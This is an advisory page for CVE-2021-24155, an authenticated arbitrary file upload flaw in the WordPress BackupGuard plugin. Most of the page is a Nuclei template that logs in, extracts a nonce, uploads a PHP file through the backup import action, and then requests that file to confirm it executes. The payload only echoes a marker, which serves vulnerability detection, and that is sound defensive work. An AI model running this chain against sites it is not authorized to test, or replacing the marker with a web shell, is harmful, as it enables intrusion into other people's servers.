CVE-2021-24155: WordPress BackupGuard <1.6.0 - Authenticated Arbitrary File Upload

2025-08-01 WordPress BackupGuard PoC Public

Description

WordPress Backup Guard plugin before 1.6.0 is susceptible to authenticated arbitrary file upload. The plugin does not ensure that imported files are in SGBP format and extension, allowing high-privilege users to upload arbitrary files, including PHP, possibly leading to remote code execution.

PoC

id: CVE-2021-24155

info:
  name: WordPress BackupGuard <1.6.0 - Authenticated Arbitrary File Upload
  author: theamanrawat
  severity: high
  description: |
    WordPress Backup Guard plugin before 1.6.0 is susceptible to authenticated arbitrary file upload. The plugin does not ensure that imported files are in SGBP format and extension, allowing high-privilege users to upload arbitrary files, including PHP, possibly leading to remote code execution.
  impact: |
    Remote code execution
  remediation: Fixed in version 1.6.0.
  reference:
    - https://wpscan.com/vulnerability/d442acac-4394-45e4-b6bb-adf4a40960fb
    - https://wordpress.org/plugins/backup/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24155
    - http://packetstormsecurity.com/files/163382/WordPress-Backup-Guard-1.5.8-Shell-Upload.html
    - https://github.com/0dayNinja/CVE-2021-24155.rb
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2021-24155
    cwe-id: CWE-434
    epss-score: 0.84112
    epss-percentile: 0.99679
    cpe: cpe:2.3:a:backup-guard:backup_guard:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: backup-guard
    product: backup_guard
    framework: wordpress
  tags: cve,cve2021,authenticated,wp,packetstorm,wp-plugin,rce,wordpress,backup,wpscan,intrusive,backup-guard,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=backup_guard_backups HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/admin-ajax.php?action=backup_guard_importBackup&token={{nonce}} HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/javascript, */*; q=0.01
        Content-Type: multipart/form-data; boundary=---------------------------204200867127808062083805313921

        -----------------------------204200867127808062083805313921
        Content-Disposition: form-data; name="files[]"; filename="{{randstr}}.php"
        Content-Type: application/x-php

        <?php

        echo "CVE-2021-24155";

        ?>

        -----------------------------204200867127808062083805313921--
      - |
        GET /wp-content/uploads/backup-guard/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - contains(header_4, "text/html")
          - status_code_4 == 200
          - contains(body_3, '{\"success\":1}')
          - contains(body_4, 'CVE-2021-24155')
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - BG_BACKUP_STRINGS = {"nonce":"([0-9a-zA-Z]+)"};
        internal: true
# digest: 4a0a0047304502206ff8e5497764a0f1b9d5d2974514cc55e3002d0f558bbf1bf38f3cf9e0ac774c02210091562d6782de1f1c1927cf82ccbc298a673d7acba5c611d35cdd64d5f7dd85e7:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities